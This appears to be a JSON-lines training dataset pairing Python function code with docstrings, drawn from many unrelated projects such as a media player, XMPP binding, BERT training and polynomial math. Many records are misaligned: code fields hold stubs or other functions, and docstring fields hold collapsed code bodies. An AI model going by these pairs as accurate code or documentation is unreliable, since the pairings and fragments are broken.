0)self.vprogress_bar_window.geometry(geometry)self.set_full_screen()self.vprogress_grip.lower(self.vprogress_bar_frame)self.vwindow_show_and_hide()self.focus_root()def move_video(self,event=None, pbar=True):if not self.dbus_connected:returnif not self.options.full_screen:w = self.vprogress_bar_window.winfo_width()h = self.vprogress_bar_window.winfo_height()x1 = self.vprogress_bar_window.winfo_x()y1 = self.vprogress_bar_window.winfo_y()else:w, h= self.get_screen_res()x1 = y1 = 0x2 = w+x1y2 = h+y1if pbar:y2 -= self.vprogress_bar.winfo_height()try:self.omx.set_video_geometry(x1, y1, x2, y2)except Exception as e:self.monitor(' [!] move_video failed')self.monitor(e)self.focus_root()def destroy_vprogress_bar(self):try:if self.options.full_screen == 0:self.save_video_window_coordinates()self.vprogress_bar_window.destroy()self.vprogress_bar_window = Noneexcept Exception:log.logException()sys.exc_clear()self.monitor(\"Failed trying to destroy video window: video window nonexistent.\")def get_screen_res(self):return (screen_width(), screen_height())def media_is_video(self):return hasattr(self,\"omx\") and hasattr(self.omx, \"video\") and len(self.omx.video) > 0def restore_window(self, *event):self.root.update()self.root.deiconify()def focus_root(self, *event):self.root.focus()def save_video_window_coordinates(self):x = self.vprogress_bar_window.winfo_x()y = self.vprogress_bar_window.winfo_y()h = self.vprogress_bar_window.winfo_height()w = self.vprogress_bar_window.winfo_width()self.options.windowed_mode_coords = (\"+\" if x>=0 else \"-\")+str(x)+(\"+\" if y>=0 else \"-\")+str(y)self.options.windowed_mode_resolution = \"%dx%d\" % (w, h)self.monitor('Saving windowed geometry: \"%s%s\"' % (self.options.windowed_mode_resolution,self.options.windowed_mode_coords))# ***************************************# VOLUME BAR CALLBACKS# ***************************************def set_volume_bar(self, event):# new volume ranges from 0 - 60new_volume = (event.x * self.volume_max)/self.volume_bar.winfo_width()self.set_volume_bar_step(new_volume)self.set_volume()def set_volume_bar_step(self, step):if step > self.volume_max:step = self.volume_maxelif step <= 0:step = 0if step > self.volume_critical_step:self.style.configure(\"volumebar.Horizontal.TProgressbar\", foreground='red', background='red')elif step <= self.volume_critical_step and self.volume_var.get() > self.volume_critical_step:self.style.configure(\"volumebar.Horizontal.TProgressbar\", foreground='cornflower blue', background='cornflower blue')self.volume_var.set(step)def set_volume(self):if not self.dbus_connected: returntry:self.omx.volume(self.mB2vol(self.get_mB()))except Exception:log.logException()sys.exc_clear()return Falsedef get_mB(self):return (self.volume_var.get() - self.volume_normal_step) * 100def vol2dB(self, volume):return (2000.0 * log10(volume)) / 100def mB2vol(self, mB):return pow(10, mB / 2000.0)# ***************************************# DISPLAY TRACKS# ***************************************def display_selected_track(self,index=None):index = index if index != None else self.start_track_indexif self.playlist.track_is_selected():self.track_titles_display.activate(index)self.display_selected_track_title.set(self.playlist.selected_track()[PlayList.TITLE])else:self.display_selected_track_title.set(\"\")def blank_selected_track(self):self.display_selected_track_title.set(\"\")def refresh_playlist_display(self):self.track_titles_display.delete(0,self.track_titles_display.size())for index in range(self.playlist.length()):self.playlist.select(index)self.track_titles_display.insert(END, self.playlist.selected_track()[PlayList.TITLE])# ***************************************# TRACKS AND PLAYLISTS CALLBACKS# ***************************************def is_file_supported(self, f):return from_file(f, mime=True) in self._SUPPORTED_MIME_TYPESdef add_drag_drop(self, action, actions, type, win, X, Y, x, y, data):data = self.dnd.tcl_list_to_python_list(data)for item in data:if item.startswith('http'):self._add_url(item)elif os.path.isfile(item):if item.endswith('.csv'):self._open_list(item)else:self._add_files([item,])elif os.path.isdir(item):self.ajoute(item, False)def add_track(self, path=None):"} {"code": "def disparity_write(filename,disparity,bitdepth=16):\n d = disparity.copy()\n\n d[d>1024] = 1024\n d[d<0] = 0\n\n d_r = (d / 4.0).astype('uint8')\n d_g = ((d * (2.0**6)) % 256).astype('uint8')\n\n out = np.zeros((d.shape[0],d.shape[1],3),dtype='uint8')\n out[:,:,0] = d_r\n out[:,:,1] = d_g\n\n if bitdepth > 16:\n d_b = (d * (2**14) % 256).astype('uint8')\n out[:,:,2] = d_b\n\n Image.fromarray(out,'RGB').save(filename,'PNG')\n\n", "nl": " Write disparity to file.bitdepth can be either 16 (default) or 32.The maximum disparity is 1024, since the image width in Sintelis 1024."} {"code": "def test_dot_nitsot_output(self):\n\n a = T.matrix()\n b = T.matrix()\n", "nl": "Test the case where the vector input to the dot is already a nitsotoutput of the inner function."} {"code": "def _apply_transform(self, minimum=True, maximum=True, value=True):\n parent = self.parent\n if parent is not None:\n if minimum:\n parent.minimum = self.get_minimum()\n if maximum:\n parent.maximum = self.get_maximum()\n if value:\n parent.value = self.get_value()\n", "nl": " Apply the current transform to the parent slider.Parameters----------minimum : bool, optionalWhether or not to update the slider minimum. The defaultis False.maximum : bool, optionalWhether or not to update the slider maximum. The defaultis False.value : bool, optionalWhether or not to update the slider value. The defaultis False."} {"code": "def ifonly(data, key, val):\n\n if val:\n data[key] = val\n\n", "nl": " utility function to set data[key] to val, but only if val hasa truthy value "} {"code": "def handle_bind_iq_set(self, stanza):\n return unicode(uuid.uuid4())\n\nXMPPSettings.add_setting(\"resource\", type = unicode, basic = False,\n cmdline_help = \"Default JID resource\",\n doc = \"\"\"JID resource to bind. Use the server-provided resource if not set.\n )\n", "nl": "Handler for resource binding.# pylint: disable-msg=R0201if not self.stream:logger.error(\"Got bind stanza before stream feature has been set\")return Falseif self.stream.initiator:return Falsepeer = self.stream.peerif peer.resource:raise ResourceConstraintProtocolError(u\"Only one resource per client supported\")resource = stanza.get_payload(ResourceBindingPayload).resourcejid = Noneif resource:try:jid = JID(peer.local, peer.domain, resource)except JIDError:passif jid is None:resource = unicode(uuid.uuid4())jid = JID(peer.local, peer.domain, resource)response = stanza.make_result_response()payload = ResourceBindingPayload(jid = jid)response.set_payload(payload)self.stream.peer = jidself.stream.event(AuthorizedEvent(jid))return responsedef default_resource_factory(settings):Factory for the 'resource' setting default: use random uuid"} {"code": "def has_period(self, node):\n if node.doc is None:\n return True\n\n if len(node.doc.splitlines()) > 1:\n return True\n\n if not node.doc.strip().endswith('.'):\n self.add_message('W9002', node=node, line=node.fromlineno)\n return False\n\n return True\n", "nl": "has_period checks if one line doc end-with '.' .Args:node (astroid.node): the node is visiting.Returns:True if successful otherwise False."} {"code": "def inet_ntoa(packed_ip):\n if not _is_str(packed_ip):\n raise TypeError('string type expected, not %s' % str(type(packed_ip)))\n\n if len(packed_ip) != 4:\n raise ValueError('invalid length of packed IP address string')\n\n return '%d.%d.%d.%d' % _unpack('4B', packed_ip)\n\n", "nl": "Convert an IP address from 32-bit packed binary format to string format."} {"code": "def _enable_pdb(): # pragma: no cover\n import psutil\n process = psutil.Process(os.getpid())\n return process.memory_info().rss", "nl": "Enable a Qt-aware IPython debugger.from IPython.core import ultratblogger.debug(\"Enabling debugger.\")from PyQt5.QtCore import pyqtRemoveInputHookpyqtRemoveInputHook()sys.excepthook = ultratb.FormattedTB(mode='Verbose', color_scheme='Linux', call_pdb=True)def _memory_usage(): # pragma: no coverGet the memory usage of the current Python process."} {"code": "def show_msgbox(self, title, text):\n msg = QMessageBox()\n msg.setIcon(QMessageBox.Information)\n msg.setText(text)\n msg.setWindowTitle(title)\n msg.setStandardButtons(QMessageBox.Ok)\n\n retval = msg.exec_()\n print(\"[INFO] Value of pressed message box button:\", retval)\n\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n window = AppWindow()\n window.resize(1240, 820)\n window.show()\n sys.exit(app.exec_())", "nl": "Function for showing error/info message box"} {"code": "def test_missing_task_list(self):\n", "nl": "wf_def = version: 1.0description: A basic sequential workflow."} {"code": "def _retry_failed_registration(self) -> None:\n Register something on the SOEF.\n\n :param description: the description of what is being registered\n :param logger_msg: the logger message to print after the registration\n \"\"\"", "nl": "Retry a failed registration.if self.failed_registration_msg is not None:self._nb_retries += 1if self._nb_retries > self._max_soef_registration_retries:self.context.is_active = Falsereturnoef_search_dialogues = cast(OefSearchDialogues, self.context.oef_search_dialogues)oef_search_msg, _ = oef_search_dialogues.create(counterparty=self.failed_registration_msg.to,performative=self.failed_registration_msg.performative,service_description=self.failed_registration_msg.service_description,)self.context.outbox.put_message(message=oef_search_msg)self.context.logger.info(f\"Retrying registration on SOEF. Retry {self._nb_retries} out of {self._max_soef_registration_retries}.\")self.failed_registration_msg = Nonedef _register(self, description: Description, logger_msg: str) -> None:"} {"code": "def get_effective_servicegroups(self):\n service = Service.objects.get_by_shortname(shortname)\n return _add_object_to_group(service, self)\n", "nl": " Returns a list of every Servicegroup that is a member of this Servicegroup get_object = lambda x: Servicegroup.objects.get_by_shortname(x, cache_only=True)list_of_shortnames = sorted(ObjectRelations.servicegroup_subgroups[self.servicegroup_name])return list(map(get_object, list_of_shortnames))def add_service(self, shortname): Adds service to this group. Behaves like _add_object_to_group(object, group)"} {"code": "def _parse_module(self, uri):\n\n Parameters\n ----------\n uri : str\n The name of the module to be parsed. This module needs to be\n importable.\n\n Returns\n -------\n functions : list of str\n A list of (public) function names in the module.\n classes : list of str\n A list of (public) class names in the module.\n \"\"\"", "nl": " Parse module defined in *uri* filename = self._uri2path(uri)if filename is None:print(filename, \"erk\")# nothing that we could handle here.return ([], [])f = open(filename, \"rt\")functions, classes = self._parse_lines(f)f.close()return functions, classesdef _parse_module_with_import(self, uri):Look for functions and classes in an importable module."} {"code": "def suggestThreadPoolSize(size):\n\n\n\nclass IReactorCore(Interface):\n \"\"\"\n\n running = Attribute(\n \"A C{bool} which is C{True} from I{during startup} to \"\n \"I{during shutdown} and C{False} the rest of the time.\")\n\n", "nl": "Suggest the size of the internal threadpool used to dispatch functionspassed to L{IReactorInThreads.callInThread}."} {"code": "def build_rpn_head(cfg, input_shape):\n name = cfg.MODEL.RPN.HEAD_NAME\n return RPN_HEAD_REGISTRY.get(name)(cfg, input_shape)\n\n\n@RPN_HEAD_REGISTRY.register()\nclass StandardRPNHead(nn.Module):\n \"\"\"", "nl": "Build an RPN head defined by `cfg.MODEL.RPN.HEAD_NAME`."} {"code": "def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d):\n super(NLayerDiscriminator, self).__init__()\n if type(norm_layer) == functools.partial:\n use_bias = norm_layer.func != nn.BatchNorm2d\n else:\n use_bias = norm_layer != nn.BatchNorm2d\n\n kw = 4\n padw = 1\n sequence = [nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw), nn.LeakyReLU(0.2, True)]\n nf_mult = 1\n nf_mult_prev = 1\n for n in range(1, n_layers):\n nf_mult_prev = nf_mult\n nf_mult = min(2 ** n, 8)\n sequence += [\n nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult, kernel_size=kw, stride=2, padding=padw, bias=use_bias),\n norm_layer(ndf * nf_mult),\n nn.LeakyReLU(0.2, True)\n ]\n\n nf_mult_prev = nf_mult\n nf_mult = min(2 ** n_layers, 8)\n sequence += [\n nn.Conv2d(ndf * nf_mult_prev, ndf * nf_mult, kernel_size=kw, stride=1, padding=padw, bias=use_bias),\n norm_layer(ndf * nf_mult),\n nn.LeakyReLU(0.2, True)\n ]\n\n sequence += [nn.Conv2d(ndf * nf_mult, 1, kernel_size=kw, stride=1, padding=padw)]\n self.model = nn.Sequential(*sequence)\n", "nl": "Construct a PatchGAN discriminatorParameters:input_nc (int) -- the number of channels in input imagesndf (int) -- the number of filters in the last conv layern_layers (int) -- the number of conv layers in the discriminatornorm_layer -- normalization layer"} {"code": "def get_name(self):\n", "nl": "Get person namereturn self.name# The syntax for a derived class definition looks like this.# pylint: disable=too-few-public-methodsclass Employee(Person):Example of the derived class"} {"code": "def set_error(self, index: int) -> None:\n done.\n \"\"\"", "nl": "Set a bar on errorif not self.__show:returnbar, _ = self.__bars[index].childrenbar.bar_style = \"danger\"def get_progress_bars(maxs: List[int], show) -> Union[ProgressBarsNotebookLab, ProgressBarsConsole]:return (ProgressBarsNotebookLab(maxs, show)if is_notebook_lab()else ProgressBarsConsole(maxs, show))def progress_wrapper(user_defined_function: Callable,master_workers_queue: multiprocessing.Queue,index: int,chunk_size: int,) -> Callable:Wrap the function to apply in a function which monitor the part of work already"} {"code": "def generate_rom_content(self):\n\n descriptors = {}\n for type_number, index, raw_descriptor in self._descriptors:\n if type_number not in descriptors:\n descriptors[type_number] = {}\n\n descriptors[type_number][index] = raw_descriptor\n\n for type_number, indexes in sorted(descriptors.items()):\n assert max(indexes.keys()) == len(indexes) - 1, \"descriptors have non-contiguous indices!\"\n\n\n max_type_number = max(descriptors.keys())\n max_descriptor_size = 0\n\n rom_size_table_pointers = (max_type_number + 1) * self.ELEMENT_SIZE\n\n table_entry_count = functools.reduce(lambda x, indexes: x + len(indexes), descriptors.values(), 0)\n rom_size_table_entries = table_entry_count * self.ELEMENT_SIZE\n\n rom_size_descriptors = 0\n for descriptor_set in descriptors.values():\n for raw_descriptor in descriptor_set.values():\n\n aligned_size = self._align_to_element_size(len(raw_descriptor))\n rom_size_descriptors += aligned_size * self.ELEMENT_SIZE\n\n max_descriptor_size = max(max_descriptor_size, len(raw_descriptor))\n\n total_size = \\\n rom_size_table_pointers + \\\n rom_size_table_entries + \\\n rom_size_descriptors\n rom = bytearray(total_size)\n\n next_free_address = (max_type_number + 1) * self.ELEMENT_SIZE\n type_index_base_address = [0] * (max_type_number + 1)\n\n for type_number, indexes in sorted(descriptors.items()):\n\n pointer_bytes = struct.pack(\">HH\", len(indexes), next_free_address)\n\n type_base_address = type_number * self.ELEMENT_SIZE\n rom[type_base_address:type_base_address + self.ELEMENT_SIZE] = pointer_bytes\n\n type_index_base_address[type_number] = next_free_address\n\n next_free_address += len(indexes) * self.ELEMENT_SIZE\n\n\n for type_number, descriptor_set in sorted(descriptors.items()):\n for index, raw_descriptor in sorted(descriptor_set.items()):\n\n pointer_bytes = struct.pack(\">HH\", len(raw_descriptor), next_free_address)\n\n index_base_address = type_index_base_address[type_number] + index * self.ELEMENT_SIZE\n\n rom[index_base_address:index_base_address + 4] = pointer_bytes\n\n rom[next_free_address:next_free_address+len(raw_descriptor)] = raw_descriptor\n\n aligned_size = self._align_to_element_size(len(raw_descriptor))\n next_free_address += aligned_size * self.ELEMENT_SIZE\n\n assert total_size == len(rom)\n\n\n total_elements = total_size // self.ELEMENT_SIZE\n element_size = self.ELEMENT_SIZE\n\n rom_entries = (rom[(element_size * i):(element_size * i) + element_size] for i in range(total_elements))\n\n initializer = [struct.unpack(\">I\", rom_entry)[0] for rom_entry in rom_entries]\n\n return initializer, max_descriptor_size, max_type_number\n\n", "nl": " Generates the contents of the ROM used to hold descriptors.Memory layout-------------All data is aligned on 4 bytesType offsets and number of entries----------------------------------Each descriptor type starting from 0 until maximum used type number hasan entry consisting of number of indexes for this type number (2 bytes)and address of first index (2 bytes).Invalid entries have a value of 0x0000xxxx (0 entries).Example:0000 0xFFFF0002 0xFFFF0004 Number of device indexes0006 Address of first device index0008 Number of configuration indexes000A Address of first configuration index000C Number of string indexes000E Address of first string index...Index offsets and length of descriptor--------------------------------------Each index of a descriptor type has an entry consistent of the lengthof the descriptor (2 bytes) and the address of first data byte (2 bytes).0010 Length of first device descriptor0012 Address of first device descriptor...Data----Descriptor data for each descriptor. Padded by 0 to next 4-byte address.... Descriptor data"} {"code": "def tryCKeywords(self, block, isBrace):\n currentBlock = self._prevNonEmptyBlock(block)\n if not currentBlock.isValid():\n return None\n\n\n if currentBlock.text().rstrip().endswith(')'):\n try:\n foundBlock, foundColumn = self.findBracketBackward(currentBlock, len(currentBlock.text()), '(')\n except ValueError:\n pass\n else:\n currentBlock = foundBlock\n\n currentBlockText = currentBlock.text()", "nl": "Check for if, else, while, do, switch, private, public, protected, signals,default, case etc... keywords, as we want to indent then. If isnon-null/True, then indentation is not increased.Note: The code is written to be called *after* tryCComment and tryCppComment!"} {"code": "def temp_install(html=False, del_module=None):\n if html:\n Checker = LHTMLOutputChecker\n else:\n Checker = LXMLOutputChecker\n frame = _find_doctest_frame()\n dt_self = frame.f_locals['self']\n checker = Checker()\n old_checker = dt_self._checker\n dt_self._checker = checker\n if _IS_PYTHON_3:\n check_func = frame.f_locals['check'].__func__\n checker_check_func = checker.check_output.__func__\n else:\n check_func = frame.f_locals['check'].im_func\n checker_check_func = checker.check_output.im_func\n doctest.etree = etree\n _RestoreChecker(dt_self, old_checker, checker,\n check_func, checker_check_func,\n del_module)\n\nclass _RestoreChecker(object):", "nl": "Use this *inside* a doctest to enable this checker for thisdoctest only.If html is true, then by default the HTML parser will be used;otherwise the XML parser is used."} {"code": "def checkFinished(self):\n\n Args:\n bin_ctx (FunctionContext): (binary) context of the removed (binary) function\n \"\"\"", "nl": "Check if we finished matching the binary functions, and handles the cleanups needed.if len([ctx for ctx in self._bin_functions_ctx if not ctx.matched()]) == 0:unused_funcs = set(range(self._src_index_start, self._src_index_end + 1)) - set(self._engine.matchedSrcIndices())if len(unused_funcs) > 0:self.disableSources(unused_funcs)# adjust the limits of the floating filefloating_representative = self._engine.floatingRepresentative()if floating_representative is not None:floating_representative.disableSources(unused_funcs)def remove(self, bin_ctx):Remove the given function couple (src index, bin context) from the file's content."} {"code": "def hermval2d(x, y, c):\n return pu._valnd(hermval, c, x, y)\n\n", "nl": "Evaluate a 2-D Hermite series at points (x, y).This function returns the values:.. math:: p(x,y) = \\\\sum_{i,j} c_{i,j} * H_i(x) * H_j(y)The parameters `x` and `y` are converted to arrays only if they aretuples or a lists, otherwise they are treated as a scalars and theymust have the same shape after conversion. In either case, either `x`and `y` or their elements must support multiplication and addition bothwith themselves and with the elements of `c`.If `c` is a 1-D array a one is implicitly appended to its shape to makeit 2-D. The shape of the result will be c.shape[2:] + x.shape.Parameters----------x, y : array_like, compatible objectsThe two dimensional series is evaluated at the points `(x, y)`,where `x` and `y` must have the same shape. If `x` or `y` is a listor tuple, it is first converted to an ndarray, otherwise it is leftunchanged and if it isn't an ndarray it is treated as a scalar.c : array_likeArray of coefficients ordered so that the coefficient of the termof multi-degree i,j is contained in ``c[i,j]``. If `c` hasdimension greater than two the remaining indices enumerate multiplesets of coefficients.Returns-------values : ndarray, compatible objectThe values of the two dimensional polynomial at points formed withpairs of corresponding values from `x` and `y`.See Also--------hermval, hermgrid2d, hermval3d, hermgrid3dNotes-----.. versionadded:: 1.7.0"} {"code": "def computeEnabledBands(signalSources, outputConfig):\n result = {}\n bands = [outputConfig.GPS.L1,\n outputConfig.GPS.L2,\n outputConfig.GLONASS.L1,\n outputConfig.GLONASS.L2]\n for band in bands:\n bandEnabled = False\n for sv in signalSources:\n if sv.isBandEnabled(band, outputConfig):\n bandEnabled = True\n break\n result[band.NAME] = bandEnabled\n\n return result\n\n", "nl": "Computes enabled bands from the signal source listParameters----------signalSources : array-likeList of SV objects to queryoutputConfig : objectOutput configuration object with bandsReturns-------mapMap with band names as keys and boolean flags as values"} {"code": "def test_init(self):\n cmtf = CMTF()\n cmtf.cost = [1, 2]\n cmtf_copy = cmtf.copy()\n\n assert cmtf_copy is not cmtf\n assert cmtf_copy.name == cmtf.name\n assert cmtf_copy.init == cmtf.init\n assert cmtf_copy.max_iter == cmtf.max_iter\n assert cmtf_copy.epsilon == cmtf.epsilon\n assert cmtf_copy.tol == cmtf.tol\n assert cmtf_copy.verbose == cmtf.verbose\n assert cmtf_copy.cost != cmtf.cost\n\n cmtf.max_iter += 1\n cmtf.epsilon += 1\n cmtf.tol += 1\n cmtf.verbose = not cmtf.verbose\n cmtf.cost = [3, 4]\n assert cmtf_copy.max_iter != cmtf.max_iter\n assert cmtf_copy.epsilon != cmtf.epsilon\n assert cmtf_copy.tol != cmtf.tol\n assert cmtf_copy.verbose != cmtf.verbose\n assert cmtf.cost != cmtf_copy.cost\n", "nl": " Tests for the constructor of cmtf algorithm max_iter = 50epsilon = 10e-3tol = 10e-5verbose = Falsesample_size = Nonecmtf = CMTF(max_iter=max_iter,epsilon=epsilon,tol=tol,verbose=verbose)assert not cmtf.cost # check that this list is emptyassert cmtf.name == CMTF.__name__assert cmtf.max_iter == max_iterassert cmtf.epsilon == epsilonassert cmtf.tol == tolassert cmtf.verbose == verbosedef test_copy(self): Tests for copy method "} {"code": "def _get_classifier_model():\n\n with strategy.scope():\n training_dataset = train_input_fn()\n evaluation_dataset = eval_input_fn() if eval_input_fn else None\n bert_model, sub_model = model_fn()\n optimizer = bert_model.optimizer\n\n if init_checkpoint:\n checkpoint = tf.train.Checkpoint(model=sub_model, encoder=sub_model)\n checkpoint.read(init_checkpoint).assert_existing_objects_matched()\n\n if not isinstance(metric_fn, (list, tuple)):\n metric_fn = [metric_fn]\n bert_model.compile(\n optimizer=optimizer,\n loss=loss_fn,\n metrics=[fn() for fn in metric_fn],\n steps_per_execution=steps_per_loop)\n\n summary_dir = os.path.join(model_dir, 'summaries')\n summary_callback = tf.keras.callbacks.TensorBoard(summary_dir)\n checkpoint = tf.train.Checkpoint(model=bert_model, optimizer=optimizer)\n checkpoint_manager = tf.train.CheckpointManager(\n checkpoint,\n directory=model_dir,\n max_to_keep=None,\n step_counter=optimizer.iterations,\n checkpoint_interval=0)\n checkpoint_callback = keras_utils.SimpleCheckpoint(checkpoint_manager)\n\n if training_callbacks:\n if custom_callbacks is not None:\n custom_callbacks += [summary_callback, checkpoint_callback]\n else:\n custom_callbacks = [summary_callback, checkpoint_callback]\n\n history = bert_model.fit(\n x=training_dataset,\n validation_data=evaluation_dataset,\n steps_per_epoch=steps_per_epoch,\n epochs=epochs,\n validation_steps=eval_steps,\n callbacks=custom_callbacks)\n stats = {'total_training_steps': steps_per_epoch * epochs}\n if 'loss' in history.history:\n stats['train_loss'] = history.history['loss'][-1]\n if 'val_accuracy' in history.history:\n stats['eval_metrics'] = history.history['val_accuracy'][-1]\n return bert_model, stats\n\n", "nl": "Gets a classifier model.classifier_model, core_model = (bert_models.classifier_model(bert_config,num_classes,max_seq_length,hub_module_url=FLAGS.hub_module_url,hub_module_trainable=FLAGS.hub_module_trainable))optimizer = optimization.create_optimizer(initial_lr,steps_per_epoch * epochs,warmup_steps, FLAGS.end_lr,FLAGS.optimizer_type)classifier_model.optimizer = performance.configure_optimizer(optimizer,use_float16=common_flags.use_float16(),use_graph_rewrite=common_flags.use_graph_rewrite())return classifier_model, core_model# tf.keras.losses objects accept optional sample_weight arguments (eg. coming# from the dataset) to compute weighted loss, as used for the regression# tasks. The classification tasks, using the custom get_loss_fn don't accept# sample weights though.loss_fn = (tf.keras.losses.MeanSquaredError() if is_regressionelse get_loss_fn(num_classes))# Defines evaluation metrics function, which will create metrics in the# correct device and strategy scope.if custom_metrics:metric_fn = custom_metricselif is_regression:metric_fn = functools.partial(tf.keras.metrics.MeanSquaredError,'mean_squared_error',dtype=tf.float32)else:metric_fn = functools.partial(tf.keras.metrics.SparseCategoricalAccuracy,'accuracy',dtype=tf.float32)# Start training using Keras compile/fit API.logging.info('Training using TF 2.x Keras compile/fit API with ''distribution strategy.')return run_keras_compile_fit(model_dir,strategy,_get_classifier_model,train_input_fn,eval_input_fn,loss_fn,metric_fn,init_checkpoint,epochs,steps_per_epoch,steps_per_loop,eval_steps,training_callbacks=training_callbacks,custom_callbacks=custom_callbacks)def run_keras_compile_fit(model_dir,strategy,model_fn,train_input_fn,eval_input_fn,loss_fn,metric_fn,init_checkpoint,epochs,steps_per_epoch,steps_per_loop,eval_steps,training_callbacks=True,custom_callbacks=None):Runs BERT classifier model using Keras compile/fit API."} {"code": "def update(self, other):\n\n self.update_ttl(other.ttl)\n super(Rdataset, self).update(other)\n", "nl": "Add all rdatas in other to self.*other*, a ``dns.rdataset.Rdataset``, the rdataset from whichto update."} {"code": "def test_host_routes_two_subnets_with_same_segment_association(self):\n gateway_ips = ['10.0.1.1', '10.0.2.1']\n cidrs = ['10.0.1.0/24', '10.0.2.0/24']\n with self.network() as network:\n net = network['network']\n segment = self._test_create_segment(\n network_id=net['id'],\n physical_network='physnet1',\n network_type=constants.TYPE_VLAN,\n segmentation_id=201)['segment']\n\n with self.subnet(network=network,\n segment_id=segment['id'],\n gateway_ip=gateway_ips[0],\n cidr=cidrs[0]) as subnet0, \\\n self.subnet(network=network,\n segment_id=segment['id'],\n gateway_ip=gateway_ips[1],\n cidr=cidrs[1]) as subnet1:\n subnet0 = subnet0['subnet']\n subnet1 = subnet1['subnet']\n\n req = self.new_show_request('subnets', subnet0['id'])\n res = req.get_response(self.api)\n res_subnet0 = self.deserialize(self.fmt, res)\n\n req = self.new_show_request('subnets', subnet1['id'])\n res = req.get_response(self.api)\n res_subnet1 = self.deserialize(self.fmt, res)\n\n self.assertEqual([], res_subnet0['subnet']['host_routes'])\n self.assertEqual([], res_subnet1['subnet']['host_routes'])\n", "nl": "Creates two subnets associated to the same segment.Since the two subnets are both associated with the same segment no hostroutes will be created."} {"code": "def getAllProperties(self):\n from pymba import VimbaException\n\n ar = {}\n c = self._camera\n cameraFeatureNames = c.getFeatureNames()\n for name in cameraFeatureNames:\n try:\n ar[name] = c.__getattr__(name)\n except VimbaException:\n pass\n return ar\n\n", "nl": "**SUMMARY**This returns a dict with the name and current value of thedocumented Vimba attributesCAVEAT: it addresses each of the properties individually, sothis may take time to run if there's network latency**EXAMPLE**>>>c = VimbaCamera(0)>>>props = c.getAllProperties()>>>print props['ExposureMode']"} {"code": "def strand(s1, s2):\n return \"\".join(map(lambda x,y:chr(ord(x)&ord(y)), s1, s2))\n", "nl": "Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2must be of same length."} {"code": "def __init__(self, wh, bound=None):\n self.wh = wh\n self.w, self.h = float(wh[0]), float(wh[1])\n\n if bound is None:\n img_d0, img_d1 = (self.h / self.w, 1) if self.w > self.h else (1, self.w / self.h)\n bound = [-1 * img_d1, -1 * img_d0, img_d1, img_d0]\n\n self.bound = bound\n self.x1, self.y1 = float(self.bound[0]), float(self.bound[1])\n self.x2, self.y2 = float(self.bound[2]), float(self.bound[3])\n\n self.dx = float(self.x2 - self.x1)\n self.dy = float(self.y2 - self.y1)\n\n self.scale = self.dx / self.w\n self.style = Style()\n\n self.clean()\n", "nl": ":param wh: list [width, height] specifying the size of the image in pixels SVG:param bound: list [x1, y1, x2, y2] border coordinate plane"} {"code": "def logp(self, actions):\n", "nl": "The log-probabilities of the actions in this policy distribution.raise NotImplementedErrorclass DiagGaussianDistribution(PolicyDistribution):DiagGaussian distribution for continuous action spaces."} {"code": "def x_min(self) -> ir.FloatingValue:\n from ibis.expr import operations as ops\n\n op = ops.GeoXMin(self)\n return op.to_expr()\n", "nl": "Return the X minima of a geometry.Returns-------FloatingValueX minima"} {"code": "def paramtypes(self):\n for t in self.wsdl.schema.types.values():\n if t in self.params: continue\n if t in self.types: continue\n item = (t, t)\n self.types.append(item)\n tc = lambda x,y: cmp(x[0].name, y[0].name)\n self.types.sort(cmp=tc)\n", "nl": " get all parameter types for m in [p[1] for p in self.ports]:for p in [p[1] for p in m]:for pd in p:if pd[1] in self.params: continueitem = (pd[1], pd[1].resolve())self.params.append(item)def publictypes(self): get all public types "} {"code": "def get_biggest_city_in_region(self, region_name):\n return self._select_one_into_dataclass(\n GeographicLocation,\n sql_file_name='get_biggest_city_in_country.sql',\n args=dict(country=country_name.lower())\n )", "nl": "Return the geolocation of the most populous city in a region.return self._select_one_into_dataclass(GeographicLocation,sql_file_name='get_biggest_city_in_region.sql',args=dict(region=region_name.lower()))def get_biggest_city_in_country(self, country_name):Return the geolocation of the most populous city in a country."} {"code": "def gen_string(has_property, code):\n if has_property == True:\n prefix = \" \"\n elif has_property == False:\n prefix = \"~\"\n else:\n prefix = \"?\"\n return prefix + code\n\n props_list = [\n (mopool.HasCache(), \"Ca\"),\n (mopool.Encrypted(), \"Cr\"),\n (mopool.Overprovisioning(), \"Op\"),\n ]\n return \",\".join(gen_string(x, y) for x, y in props_list)\n\n format_uuid = (\n (lambda mo_uuid: mo_uuid) if namespace.unhyphenated_uuids else to_hyphenated\n )\n", "nl": "Generate the display string for a boolean property:param has_property: whether the property is true or false:type has_property: bool or NoneType:param str code: the code to generate the string for:returns: the generated string:rtype: str"} {"code": "def winfo_children(self):\n return self.tk.call('winfo', 'class', self._w)", "nl": "Return a list of all widgets which are children of this widget.result = []for child in self.tk.splitlist(self.tk.call('winfo', 'children', self._w)):try:# Tcl sometimes returns extra windows, e.g. for# menus; those need to be skippedresult.append(self._nametowidget(child))except KeyError:passreturn resultdef winfo_class(self):Return window class name of this widget."} {"code": "def create_uri(self, config_path):\n\n uri = None\n if self.config.site and config_path:\n if self.config.use_https:\n uri = 'https://'\n else:\n uri = 'http://'\n uri = uri + self.config.site + config_path\n return uri\n", "nl": "Formats a URI for discovery, collection, or polling of a TAXII server.Args:config_path: A URI path to a TAXII server's discovery, collection, or polling service. Defined in config.yml configuration file.Returns:A full URI to one of a TAXII server's service paths."} {"code": "def redelivered(self) -> bool:\n return self[\"timestamp\"]\n\n @property", "nl": "true if the message is being resent to the consumerreturn self[\"redelivered\"]@propertydef timestamp(self) -> int:Time in milliseconds."} {"code": "def get_header(self, name, default=None):", "nl": " Return the value of a previously defined header. If there is noheader with that name, return a default value. "} {"code": "def __pos__(self, context=None):\n if self._is_special:\n ans = self._check_nans(context=context)\n if ans:\n return ans\n\n sign = self._sign\n if not self:\n sign = 0\n\n if context is None:\n context = getcontext()\n\n if context._rounding_decision == ALWAYS_ROUND:\n ans = self._fix(context)\n else:\n ans = Decimal(self)\n ans._sign = sign\n return ans\n", "nl": "Returns a copy, unless it is a sNaN.Rounds the number (if more then precision digits)"} {"code": "def compare_total(self, other, context=None):\n other = _convert_other(other, raiseit=True)\n\n if self._sign and not other._sign:\n return _NegativeOne\n if not self._sign and other._sign:\n return _One\n sign = self._sign\n\n self_nan = self._isnan()\n other_nan = other._isnan()\n if self_nan or other_nan:\n if self_nan == other_nan:\n self_key = len(self._int), self._int\n other_key = len(other._int), 